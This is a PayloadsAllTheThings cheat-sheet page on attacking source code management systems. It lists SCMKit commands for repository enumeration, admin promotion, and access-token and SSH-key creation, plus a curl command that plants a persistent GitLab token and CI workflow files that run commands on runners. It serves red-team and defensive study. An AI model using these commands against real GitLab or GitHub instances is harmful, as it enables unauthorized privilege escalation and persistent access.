PayloadsAllTheThings/Methodology and Resources/Source Code Management.md
2022-08-18 10:43:01 +02:00

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# Source Code Management
>
## Summary
* [Enumeration](#enumeration)
* [Exploit Gitlab CI/Github Actions](#exploit-gitlab-cigithub-actions)
* [References](#references)
## Enumeration
Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit)
* Discover repositories being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
```
* Search for repositories by repository name in a particular SCM system
```ps1
SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
```
* Search for code containing a given keyword in a particular SCM system
```ps1
SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
```
* Search for files in repositories containing a given keyword in the file name in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
```
* List snippets owned by the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
```
* List all GitLab runners available to the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
```
* Get the assigned privileges to an access token being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
```
* Promote a normal user to an administrative role in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
```
* Create/List/Delete an access token to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
```
* Create/List an SSH key to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
```
## Personal Access Token
Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.
```ps1
curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"
```
## Exploit Gitlab CI/Github Actions
* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml`
```yaml
stages:
- test
test:
stage: test
script:
- |
whoami
parallel:
matrix:
- RUNNER: VM1
- RUNNER: VM2
- RUNNER: VM3
tags:
- ${RUNNER}
```
* Github Action "Command Execution" example: `.github/workflows/example.yml`
```yml
name: example
on:
workflow_dispatch:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: windows-2019
steps:
- name: Execute
run: |
whoami
```
## References
* [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/)